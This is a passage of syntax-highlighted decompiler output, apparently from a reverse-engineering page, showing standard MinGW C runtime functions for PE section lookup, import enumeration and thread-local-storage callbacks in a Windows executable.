</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">__int64</span> v6; <span style="color:#75715e">// rdi
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#a6e22e">strlen</span>(pName) <span style="color:#f92672">></span> <span style="color:#ae81ff">8</span> )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0LL</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">*</span>refptr___image_base__ <span style="color:#f92672">!=</span> <span style="color:#ae81ff">23117</span> )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0LL</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!</span><span style="color:#a6e22e">ValidateImageBase_part_0</span>(refptr___image_base__) )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0LL</span>;
</span></span><span style="display:flex;"><span> v3 <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>refptr___image_base__[<span style="color:#f92672">*</span>(refptr___image_base__ <span style="color:#f92672">+</span> <span style="color:#ae81ff">15</span>)];
</span></span><span style="display:flex;"><span> v4 <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>v3[<span style="color:#f92672">*</span>(v3 <span style="color:#f92672">+</span> <span style="color:#ae81ff">10</span>) <span style="color:#f92672">+</span> <span style="color:#ae81ff">24</span>];
</span></span><span style="display:flex;"><span> v5 <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>(v3 <span style="color:#f92672">+</span> <span style="color:#ae81ff">3</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!</span>v5 )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0LL</span>;
</span></span><span style="display:flex;"><span> v6 <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>v4[(v5 <span style="color:#f92672">-</span> <span style="color:#ae81ff">1</span>) <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>];
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> ( <span style="color:#a6e22e">strncmp</span>(v4, pName, <span style="color:#ae81ff">8uLL</span>) )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">++</span>v4 <span style="color:#f92672">==</span> v6 )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0LL</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> v4;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (0000000000402BE0) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span>PIMAGE_SECTION_HEADER <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">_mingw_GetSectionForAddress</span>(LPVOID p)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">*</span>refptr___image_base__ <span style="color:#f92672">==</span> <span style="color:#ae81ff">23117</span> <span style="color:#f92672">&&</span> <span style="color:#a6e22e">ValidateImageBase_part_0</span>(refptr___image_base__) )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">FindPESection</span>(refptr___image_base__, p <span style="color:#f92672">-</span> refptr___image_base__);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0LL</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (0000000000402C30) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">_mingw_GetSectionCount</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> result; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> result <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">*</span>refptr___image_base__ <span style="color:#f92672">==</span> <span style="color:#ae81ff">23117</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> result <span style="color:#f92672">=</span> <span style="color:#a6e22e">ValidateImageBase_part_0</span>(refptr___image_base__);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( result )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#f92672">*&</span>refptr___image_base__[<span style="color:#f92672">*</span>(refptr___image_base__ <span style="color:#f92672">+</span> <span style="color:#ae81ff">15</span>) <span style="color:#f92672">+</span> <span style="color:#ae81ff">6</span>];
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> result;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (0000000000402C70) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span>PIMAGE_SECTION_HEADER <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">FindPESectionExec</span>(<span style="color:#66d9ef">size_t</span> eNo)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> BYTE <span style="color:#f92672">*</span>v3; <span style="color:#75715e">// rsi
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">__int64</span> v4; <span style="color:#75715e">// rdx
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">__int64</span> v5; <span style="color:#75715e">// rax
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">*</span>refptr___image_base__ <span style="color:#f92672">!=</span> <span style="color:#ae81ff">23117</span> )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0LL</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!</span><span style="color:#a6e22e">ValidateImageBase_part_0</span>(refptr___image_base__) )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0LL</span>;
</span></span><span style="display:flex;"><span> v3 <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>refptr___image_base__[<span style="color:#f92672">*</span>(refptr___image_base__ <span style="color:#f92672">+</span> <span style="color:#ae81ff">15</span>)];
</span></span><span style="display:flex;"><span> v4 <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>v3[<span style="color:#f92672">*</span>(v3 <span style="color:#f92672">+</span> <span style="color:#ae81ff">10</span>) <span style="color:#f92672">+</span> <span style="color:#ae81ff">24</span>];
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!*</span>(v3 <span style="color:#f92672">+</span> <span style="color:#ae81ff">3</span>) )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0LL</span>;
</span></span><span style="display:flex;"><span> v5 <span style="color:#f92672">=</span> v4 <span style="color:#f92672">+</span> <span style="color:#ae81ff">40LL</span> <span style="color:#f92672">*</span> (<span style="color:#f92672">*</span>(v3 <span style="color:#f92672">+</span> <span style="color:#ae81ff">3</span>) <span style="color:#f92672">-</span> <span style="color:#ae81ff">1</span>) <span style="color:#f92672">+</span> <span style="color:#ae81ff">40</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> ( (<span style="color:#f92672">*</span>(v4 <span style="color:#f92672">+</span> <span style="color:#ae81ff">39</span>) <span style="color:#f92672">&</span> <span style="color:#ae81ff">0x20</span>) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span>LABEL_9:
</span></span><span style="display:flex;"><span> v4 <span style="color:#f92672">+=</span> <span style="color:#ae81ff">40LL</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v4 <span style="color:#f92672">==</span> v5 )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0LL</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( eNo )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#f92672">--</span>eNo;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">goto</span> LABEL_9;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> v4;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (0000000000402D00) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span>PBYTE <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">GetPEImageBase</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> BYTE <span style="color:#f92672">*</span>v0; <span style="color:#75715e">// rbx
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> v0 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0LL</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">*</span>refptr___image_base__ <span style="color:#f92672">!=</span> <span style="color:#ae81ff">23117</span> )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0LL</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#a6e22e">ValidateImageBase_part_0</span>(refptr___image_base__) )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> refptr___image_base__;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> v0;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (0000000000402D40) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span>WINBOOL <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">IsNonwritableInCurrentImage</span>(PBYTE pTarget)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> WINBOOL result; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span> PIMAGE_SECTION_HEADER PESection; <span style="color:#75715e">// rax
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> result <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">*</span>refptr___image_base__ <span style="color:#f92672">==</span> <span style="color:#ae81ff">23117</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> result <span style="color:#f92672">=</span> <span style="color:#a6e22e">ValidateImageBase_part_0</span>(refptr___image_base__);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( result )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> PESection <span style="color:#f92672">=</span> <span style="color:#a6e22e">FindPESection</span>(refptr___image_base__, pTarget <span style="color:#f92672">-</span> refptr___image_base__);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> PESection <span style="color:#f92672">&&</span> (PESection<span style="color:#f92672">-></span>Characteristics <span style="color:#f92672">&</span> <span style="color:#ae81ff">0x80000000</span>) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> result;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (0000000000402DA0) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span><span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">_mingw_enum_import_library_names</span>(<span style="color:#66d9ef">int</span> i)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">int</span> v3; <span style="color:#75715e">// edx
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">__int64</span> v4; <span style="color:#75715e">// rbx
</span></span></span><span style="display:flex;"><span> BYTE <span style="color:#f92672">*</span>v5; <span style="color:#75715e">// rdx
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">*</span>refptr___image_base__ <span style="color:#f92672">!=</span> <span style="color:#ae81ff">23117</span> )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0LL</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!</span><span style="color:#a6e22e">ValidateImageBase_part_0</span>(refptr___image_base__) )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0LL</span>;
</span></span><span style="display:flex;"><span> v3 <span style="color:#f92672">=</span> <span style="color:#f92672">*&</span>refptr___image_base__[<span style="color:#f92672">*</span>(refptr___image_base__ <span style="color:#f92672">+</span> <span style="color:#ae81ff">15</span>) <span style="color:#f92672">+</span> <span style="color:#ae81ff">144</span>];
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!</span>v3 )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0LL</span>;
</span></span><span style="display:flex;"><span> v4 <span style="color:#f92672">=</span> v3;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!</span><span style="color:#a6e22e">FindPESection</span>(refptr___image_base__, v3) )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0LL</span>;
</span></span><span style="display:flex;"><span> v5 <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>refptr___image_base__[v4];
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!&</span>refptr___image_base__[v4] )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0LL</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> ( <span style="color:#f92672">*</span>(v5 <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>) <span style="color:#f92672">||</span> <span style="color:#f92672">*</span>(v5 <span style="color:#f92672">+</span> <span style="color:#ae81ff">3</span>) )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( i <span style="color:#f92672"><=</span> <span style="color:#ae81ff">0</span> )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#f92672">&</span>refptr___image_base__[<span style="color:#f92672">*</span>(v5 <span style="color:#f92672">+</span> <span style="color:#ae81ff">3</span>)];
</span></span><span style="display:flex;"><span> <span style="color:#f92672">--</span>i;
</span></span><span style="display:flex;"><span> v5 <span style="color:#f92672">+=</span> <span style="color:#ae81ff">20</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0LL</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (0000000000402E50) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">_mingwthr_run_key_dtors_part_0</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">volatile</span> __mingwthr_key_t <span style="color:#f92672">*</span>i; <span style="color:#75715e">// rbx
</span></span></span><span style="display:flex;"><span> LPVOID Value; <span style="color:#75715e">// rsi
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">EnterCriticalSection</span>(<span style="color:#f92672">&</span>_mingwthr_cs);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> ( i <span style="color:#f92672">=</span> key_dtor_list; i; i <span style="color:#f92672">=</span> i<span style="color:#f92672">-></span>next )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> Value <span style="color:#f92672">=</span> <span style="color:#a6e22e">TlsGetValue</span>(i<span style="color:#f92672">-></span>key);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!</span><span style="color:#a6e22e">GetLastError</span>() <span style="color:#f92672">&&</span> Value )
</span></span><span style="display:flex;"><span> i<span style="color:#f92672">-></span><span style="color:#a6e22e">dtor</span>(Value);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">LeaveCriticalSection</span>(<span style="color:#f92672">&</span>_mingwthr_cs);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (0000000000402EC0) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">__w64_mingwthr_add_key_dtor</span>(DWORD key, <span style="color:#66d9ef">void</span> (<span style="color:#f92672">*</span>dtor)(<span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span>))
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> result; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">volatile</span> __mingwthr_key_t <span style="color:#f92672">*</span>v5; <span style="color:#75715e">// rax
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">volatile</span> __mingwthr_key_t <span style="color:#f92672">*</span>v6; <span style="color:#75715e">// rbx
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">volatile</span> __mingwthr_key_t <span style="color:#f92672">*</span>v7; <span style="color:#75715e">// rax
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> result <span style="color:#f92672">=</span> _mingwthr_cs_init;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( _mingwthr_cs_init )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v5 <span style="color:#f92672">=</span> <span style="color:#a6e22e">calloc</span>(<span style="color:#ae81ff">1uLL</span>, <span style="color:#ae81ff">0x18uLL</span>);
</span></span><span style="display:flex;"><span> v6 <span style="color:#f92672">=</span> v5;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v5 )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v5<span style="color:#f92672">-></span>key <span style="color:#f92672">=</span> key;
</span></span><span style="display:flex;"><span> v5<span style="color:#f92672">-></span>dtor <span style="color:#f92672">=</span> dtor;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">EnterCriticalSection</span>(<span style="color:#f92672">&</span>_mingwthr_cs);
</span></span><span style="display:flex;"><span> v7 <span style="color:#f92672">=</span> key_dtor_list;
</span></span><span style="display:flex;"><span> key_dtor_list <span style="color:#f92672">=</span> v6;
</span></span><span style="display:flex;"><span> v6<span style="color:#f92672">-></span>next <span style="color:#f92672">=</span> v7;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">LeaveCriticalSection</span>(<span style="color:#f92672">&</span>_mingwthr_cs);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> result;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (0000000000402F40) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">__w64_mingwthr_remove_key_dtor</span>(DWORD key)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">volatile</span> __mingwthr_key_t <span style="color:#f92672">*</span>v3; <span style="color:#75715e">// rdx
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">volatile</span> __mingwthr_key_t <span style="color:#f92672">*</span>next; <span style="color:#75715e">// rax
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">volatile</span> __mingwthr_key_t <span style="color:#f92672">*</span>v5; <span style="color:#75715e">// rcx
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!</span>_mingwthr_cs_init )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">EnterCriticalSection</span>(<span style="color:#f92672">&</span>_mingwthr_cs);
</span></span><span style="display:flex;"><span> v3 <span style="color:#f92672">=</span> key_dtor_list;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( key_dtor_list )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( key_dtor_list<span style="color:#f92672">-></span>key <span style="color:#f92672">==</span> key )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v5 <span style="color:#f92672">=</span> key_dtor_list;
</span></span><span style="display:flex;"><span> key_dtor_list <span style="color:#f92672">=</span> key_dtor_list<span style="color:#f92672">-></span>next;
</span></span><span style="display:flex;"><span>LABEL_12:
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">free</span>(v5);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">LeaveCriticalSection</span>(<span style="color:#f92672">&</span>_mingwthr_cs);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> ( <span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> next <span style="color:#f92672">=</span> v3<span style="color:#f92672">-></span>next;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!</span>next )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( next<span style="color:#f92672">-></span>key <span style="color:#f92672">==</span> key )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v5 <span style="color:#f92672">=</span> v3<span style="color:#f92672">-></span>next;
</span></span><span style="display:flex;"><span> v3<span style="color:#f92672">-></span>next <span style="color:#f92672">=</span> next<span style="color:#f92672">-></span>next;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">goto</span> LABEL_12;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> v3 <span style="color:#f92672">=</span> v3<span style="color:#f92672">-></span>next;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">LeaveCriticalSection</span>(<span style="color:#f92672">&</span>_mingwthr_cs);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (0000000000402FE0) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// local variable allocation has failed, the output may be wrong!
</span></span></span><span style="display:flex;"><span>WINBOOL <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">_mingw_TLScallback</span>(HANDLE hDllHandle, DWORD reason, LPVOID reserved)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> WINBOOL result; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( reason <span style="color:#f92672">==</span> <span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!</span>_mingwthr_cs_init )
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">InitializeCriticalSection</span>(<span style="color:#f92672">&</span>_mingwthr_cs);
</span></span><span style="display:flex;"><span> result <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> _mingwthr_cs_init <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( reason )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( reason <span style="color:#f92672">==</span> <span style="color:#ae81ff">3</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( _mingwthr_cs_init )
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">_mingwthr_run_key_dtors_part_0</span>();
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( _mingwthr_cs_init )
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">_mingwthr_run_key_dtors_part_0</span>();
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( _mingwthr_cs_init <span style="color:#f92672">==</span> <span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> _mingwthr_cs_init <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">_IAT_start__</span>(<span style="color:#f92672">&</span>_mingwthr_cs, <span style="color:#f92672">*&</span>reason, reserved);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> result;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">// 402FE0: variables would overlap: edx.4 and rdx.8
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// 409268: using guessed type __int64 __fastcall _IAT_start__(_QWORD, _QWORD, _QWORD);
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (00000000004030E0) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> (<span style="color:#f92672">*</span><span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">get_invalid_parameter_handler</span>())(<span style="color:#66d9ef">const</span> <span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span>, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span>, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span>, <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">int</span>, <span style="color:#66d9ef">uintptr_t</span>)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> handler;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (00000000004030F0) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> (<span style="color:#f92672">*</span><span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">set_invalid_parameter_handler</span>(
